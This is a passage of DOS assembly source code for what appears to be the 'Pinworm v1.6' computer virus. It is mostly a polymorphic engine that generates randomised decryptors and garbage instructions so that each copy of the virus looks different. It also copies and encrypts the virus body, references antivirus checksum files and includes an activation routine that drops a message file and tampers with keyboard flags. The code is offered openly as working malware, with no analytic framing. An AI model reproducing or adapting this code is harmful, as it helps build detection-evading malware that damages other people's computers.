; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Morph, copy, & crypt <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; 0 bytes constant
; 0 functionally equivilant operands in constant locations
;
; Random byte defined as:
; 76543210
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0=JNZ,1=JNS
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0=ADD&SUB, 1=XOR
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0=BYTE CRYPTION, 1=WORD CRYPTION
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1=INCREMENT POINTER TO 'MOV SI|DI,XXXX' OPERAND
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1=USE TWO BYTE GARBAGE, 0=USE ONE BYTE GARBAGE ONLY
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1=USE CONSTANT STREAM OF ONE BYTE GARBAGE, 0=NORMAL RANDOM
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> not used
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> not used
;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
encrypt_code:
push bx ; save the handle
call get_timer
IF SECOND_CRYPT
mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor
mov byte ptr sec_enc+1,dh
ENDIF
mov ax,0FFFFh
call random
mov enc_num,dl ; store ms count for encryption
mov mem_word,dx ; mem cryption too
mov size_disp,dl ; and size displacment
;<3B><><EFBFBD><EFBFBD> Fill buffer space with one-byte garbage ops
lea di,encrypt
mov bp,enc_size+1
test enc_num,00100000b ; use constant 1 byte operand?
jnz do_constant
mov bl,1
jmp fb1
do_constant:
mov bl,0
fb1:
call fill_buffer
;<3B><><EFBFBD><EFBFBD> Randomly select between jmp type : JNZ or JNS
test enc_num,00000001b
jnz jmp_2
mov byte ptr jnz_op,75h ; use jnz
jmp jmp_set
jmp_2:
mov byte ptr jnz_op,79h ; jns
jmp_set:
;<3B><><EFBFBD><EFBFBD> Select encryption type: XOR or ADD&SUB
mov enc_type,04 ; default to encrypting ADD
mov dec_type,2Ch ; and decrypting SUB
test enc_num,00000010b
jz use_add_sub
mov dec_type,34h ; decrypting XOR
mov enc_type,34h ; encrypting XOR
use_add_sub:
;<3B><><EFBFBD> Change register used for the counter
cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI
jnz get_reg
mov byte ptr count_op,0B7h ; AX-1
mov byte ptr dec_op,47h ; AX-1
get_reg:
inc byte ptr count_op ; increment to next register in line
inc byte ptr dec_op
;<3B><><EFBFBD><EFBFBD> Select position of INC DI|SI
mov ax,INC_BUF_SIZE-1
call random ; select a position in the buffer..
xchg di,dx
add di,offset inc_buf
mov inc_op_ptr,di ; save ptrs
mov inc_op_ptr2,di
;<3B><><EFBFBD><EFBFBD> Toggle between SI and DI
cmp byte ptr ptr_set,0BEh ; using SI?
jz chg_di ; if so, then switch to DI
mov byte ptr [di],46h ; write INC SI
dec byte ptr ptr_set ; decrement to SI
jmp done_chg_ptr
chg_di:
mov byte ptr [di],47h ; write INC DI
inc byte ptr ptr_set ; increment to DI
inc byte ptr dec_type ; increment decryptor
inc byte ptr enc_type ; increment encryptor
done_chg_ptr:
;<3B><><EFBFBD><EFBFBD> Select word or byte encryption
mov w_b,80h ; default to byte cryption
test enc_num,00000100b ; use word?
jz use_byte
mov w_b,81h ; now using word en/decryptor
mov ax,di
sub ax,offset inc_buf+1
call random
mov ch,byte ptr [di] ; get INC DI|INC SI operand
sub di,dx
mov byte ptr [di],ch ; make a copy of it for word cryption
mov inc_op_ptr2,di
use_byte:
;<3B><><EFBFBD><EFBFBD> Increment counter value
cmp byte ptr crypt_bytes,0Fh ; byte count quite large?
jnz inc_cnt ; if not..increment away
mov crypt_bytes,offset vend ; else..reset byte count
inc_cnt:
inc crypt_bytes ; increment byte count
;<3B><><EFBFBD><EFBFBD> Set DEC XX /JNS|JNZ operands
mov ax,DJ_BUF_SIZE-3
call random ; select a pos.
add dx,offset dj_buf
mov di,dx
sub dx,offset enc_loop-3 ; find loop size
neg dx ; negate for negative jump
mov byte ptr jnz_op+1,dl ; write jmp offset
dec dl
mov byte ptr loop_ofs,dl ; write loop offset
mov dec_op_ptr,di
lea si,dec_op
movsb ; write operand(s)
write_loop:
movsw
inc di
add rel_off,di ; chg offset for decryption
push di ; save offset after jmp
;<3B><><EFBFBD><EFBFBD> Set MOV DI,XXXX|MOV SI,XXXX
mov ax,PTR_BUF_SIZE-3
call random ; select pos.
xchg dx,di
add di,offset ptr_buf ; build ptr
mov ptr_op_ptr,di ; save ptr
lea si,ptr_set
movsw ; write op
movsb
;<3B><><EFBFBD><EFBFBD> Set MOV AX|BX|DX|CX,XXXX
mov ax,CNT_BUF_SIZE-3
call random ; select pos.
xchg dx,di
add di,offset cnt_buf ; build ptr
mov count_op_ptr,di ; save ptr
lea si,count_op
movsw ; write op
movsb
;<3B><><EFBFBD><EFBFBD> Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX
mov ax,ENC_OP_BSIZE-5
call random ; select pos.
xchg dx,di
add di,offset enc_op_buf ; build ptr
mov enc_op_ptr,di ; save ptr
lea si,seg_op
movsw ; write op
movsw
IF TWO_BYTE
;<3B><><EFBFBD><EFBFBD> Throw in some 2 byte garbage ops
test enc_num,00010000b ; use two-byte garbage?
jz no_2byte_grb
lea di,encrypt
mov bp,ptr_op_ptr
push bp
call fill_between
pop di
add di,3 ; 3bytez large
mov bp,count_op_ptr
push bp
call fill_between ; fill between start and count reg
pop di
add di,3 ; 3bytez large
mov bp,inc_op_ptr2
push bp
call fill_between ; fill between count reg and inc ptr
pop di
inc di ; 1byte large
mov bp,inc_op_ptr
push bp
call fill_between ; if another inc ptr op exist, then
pop di ; .. fill in between both of them
inc di ; 1byte large
mov bp,enc_op_ptr
push bp
call fill_between ; fill between inc ptr and encryption
pop di ; ..op
add di,5 ; 5bytez large
mov bp,dec_op_ptr
call fill_between ; fill between encryption op and loop
no_2byte_grb:
ENDIF
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[END OF POLYMORPHIC ENGINE]<5D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B><><EFBFBD><EFBFBD> FiX second cryptor offset
IF SECOND_CRYPT
mov rel2_off,offset heap ;first gen has mispl. off
ENDIF
;<3B><><EFBFBD><EFBFBD> Copy virus code along with decryptor to heap
mov cx, (offset heap-offset start)/2+1
xor si,si
lea di,vend ; ..to heap for encryption
rep movsw ; make another copy of virus
IF SECOND_CRYPT
;<3B><><EFBFBD><EFBFBD> Call second encryptor first
mov si,offset vend ; offset of enc. start..
add si,offset heap ; ..at end of code
mov ret2_byte,0C3h
xor bp,bp
call dbl_crypt
mov ret2_byte,90h
ENDIF
;<3B><><EFBFBD><EFBFBD> Set ptr to heap for encryption
pop si ; pop offset after jmp
add si,offset vend ; offset we'z bez encrypting
mov di,si ; we might be using DI too
;<3B><><EFBFBD><EFBFBD> Encrypt the mother fucker
mov ret_byte,0C3h ; put RET
mov al,enc_type
mov bx,enc_op_ptr
mov byte ptr [bx+2],al ; set encryption type
call encryptor ; encrypt the bitch
pop bx ; restore phile handle
ret ; return
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Garbage Code Filler <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; DS:DI = buffer address
; BP = buffer size
; BL = 0 - Use 1 byte constant garbage op
; = 1 - Use 1 byte random garbage ops
; = 2 - Use 2 byte random garbage ops
;
; Decently random..relies on previously encrypted data and MS from clock
; to form pointer to the next operand to use..
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
fill_buffer:
push ax
mov ax,GARBAGE_OPS
call random
pop ax
mov si,dx ; build index ptr
IF TWO_BYTE
cmp bl,2 ; using 1 byte, or 2 byte ops?
jz word_grb
ENDIF
cmp bl,0 ; using constant stream of 1 byte op?
jnz not_constant
mov si,cons_byte
not_constant:
mov al,byte ptr [nops_1+si] ; get 1byte operand from table
mov byte ptr [di],al ; write operand
IF TWO_BYTE
jmp did_1byte
word_grb:
cmp di,offset enc_loop-1 ; don't put 2byte op at loop begin
jnz di_ok
di_not_ok:
mov al,byte ptr [nops_1+si] ; get 1byte op
mov ah,al ; duplicate
jz couldnt_do_2
di_ok:
cmp di,offset encryptor-1 ; don't put 2byte op at call begin
jz di_not_ok
add si,si ; double pointer for word offsets
mov ax,word ptr [nops_2+si] ; get garbage op
couldnt_do_2:
mov word ptr [di],ax ; write op
inc di ; increment ptr
dec bp ; decrement counter
jz _fret
did_1byte:
ENDIF
inc di ; increment buffer ptr
dec bp ; decrement counter
jnz fill_buffer ; loop
cmp cons_byte,GARBAGE_OPS
jl in_range
mov cons_byte,-1
in_range:
inc cons_byte
_fret: ret
IF TWO_BYTE
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Fill Bytes Between Two Ops /w Garb.<2E><><EFBFBD><EFBFBD>
; DS:DI=First Op
; DS:BP=Last Op
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
fill_between:
sub bp,di ; get difference of offsets
cmp bp,4 ; if <4 then not 'nuff room
jl not_room
sub bp,2 ; make sure we don't overwrite last op
mov bl,2 ; use 2byte garbage ops
call fill_buffer
not_room:
ret
ENDIF
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Get sec/ms from clock <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
get_timer:
push ax
mov ah,2ch ; get clock
int 21h
mov ran_seed,dx
pop ax
ret
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Get Random Number <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; AX=max number
; ret: DX=random # [will not return 0]
; ROUTINE PARTIALLY FROM: TP6.0 BOOK
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
random:
push ax
mov ax,ran_seed
mov cx,31413
mul cx
add ax,13849
mov ran_seed,ax
pop cx
mul cx
cmp dx,0
jnz ran_ok
inc dx
ran_ok:
ret
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Associated bullshit
;
chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum
chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum
pin_dir db 255,'PI<50>W<EFBFBD>rM.<2E>g!',0 ; DIR created
root db '..',0 ; for changing to org. dir
act_file db 'VIROGEN.MSG',0
act_data db ' Thank you for allowing Pinworm v1.6 to reside within your computer! You will',cr
db 'be rewarded for your kindness by the gods which reign over the cyber world.',cr
db 'You may thank the holy god of heart and kindness, <20>irogen, for bringing this',cr
db 'life into the cold and dead realms of your computer.',cr,cr
db '-----BEGIN PGP PUBLIC KEY BLOCK-----',cr
db 'Version: 2.6',cr,cr
db 'mQCNAixt9g4AAAEEANN3KDJ5NjmN1bm5cQGs352wJsQH6FBtOgnHEpZczJBXBwU1',cr
db 'HiMIL0a4ST16h/flarD2Jsekk5KMz0XF0/+ZAy98Ng3AglsWT+9mXnYxlnUwMaIc',cr
db '0QeCU8ECQzQSRzSznWidEKsemYLC179eOEfOqNeYR5NndCo3mVS0HwB6IcbpAAUR',cr
db 'tAdWaXJvZ2Vu',cr
db '=Hvsw',cr
db '-----END PGP PUBLIC KEY BLOCK-----',0
activate db 0
isav db 0
new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id)
ran_seed dw 0
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Polymorphic engine data <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
inc_op_ptr dw offset inc_buf ; ptr to location of INC
enc_op_ptr dw offset enc_op_buf ; actual ENC op ptr
ptr_op_ptr dw offset ptr_buf ; ptr to ptr set pos
count_op_ptr dw offset cnt_buf ; ptr to counter reg pos
dec_op_ptr dw offset dj_buf ; ptr to decrement counter op pos
inc_op_ptr2 dw 0
seg_op db 2Eh ; CS
w_b db 80h ; byte=80h word=81h
dec_type db 2Ch ; SUB BYTE PTR CS:[DI|SI],XXXX
enc_num db 0
enc_type db 2Ch
ptr_set db 0BEh ; MOV DI|SI,XXXX
rel_off dw real_start+100h
count_op db 0B8h ; MOV AX|BX|CX|DX,XXXX
crypt_bytes dw offset vend-offset dj_buf
dec_op: dec ax ; DEC AX|BX|CX|DX
jnz_op db 75h,0
;loop_op db 0E2h ; LOOP XX
loop_ofs db 0
cons_byte dw 0
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> One-byte Garbage Operands (must be 16)<29>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
nops_1: nop
IF INCLUDE_INT3
int 3
ELSE
cld
ENDIF
into
inc bp
dec bp
cld
nop
stc
cmc
clc
stc
into
cli
sti
inc bp
IF INCLUDE_INT3
int 3
ELSE
nop
ENDIF
IF TWO_BYTE
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Two-byte Garbage Operands (must be 16)<29>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
nops_2: db 0EBh,0 ; JMP $+2
db 74h,0 ; JZ $+2
db 75h,0 ; JNZ $+2
db 7Ch,0 ; JL $+2
db 7Fh,0 ; JG $+2
db 72h,0 ; JC $+2
or bp,bp
not bp
neg bp
mov bp,ax
mov bp,dx
mov bp,si
mov bp,di
mov si,si
mov di,di
xchg cx,cx
ENDIF
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Activation Routine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Creates directory named after Pinworm and files
; in that directory which together form a message.
;
act_routine:
push ax bx cx ds dx bp es cs
pop ds
mov activate,0 ;we're in work now..
lea dx,pin_dir ;create our subdirectory
mov ah,39h
int 21h
mov ah,3bh ;change to our new subdirectory
int 21h
lea dx,act_file
xor cx,cx
mov ah,3ch
int 21h
xchg ax,bx
lea dx,act_data
mov cx,(offset activate-offset act_data)
mov ah,40h
int 21h
mov ah,3eh
int 21h
lea dx,root ; change back to orginal dir
mov ah,3bh
int 21h
cmp r_delay,5 ;5 calls?
jl r_no ;if not then skip keyboard ror
mov r_delay,-1
xor ax,ax ;es=null
mov es,ax
ror word ptr es: [416h],1 ;rotate keyboard flags
r_no:
inc r_delay ;increment calls count
mov activate,1
pop es bp dx ds cx bx ax
jmp no_act
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Interrupt 24h - critical error handler
;
new_24: ; critical error handler
mov al,3 ; prompts suck, return fail
iret
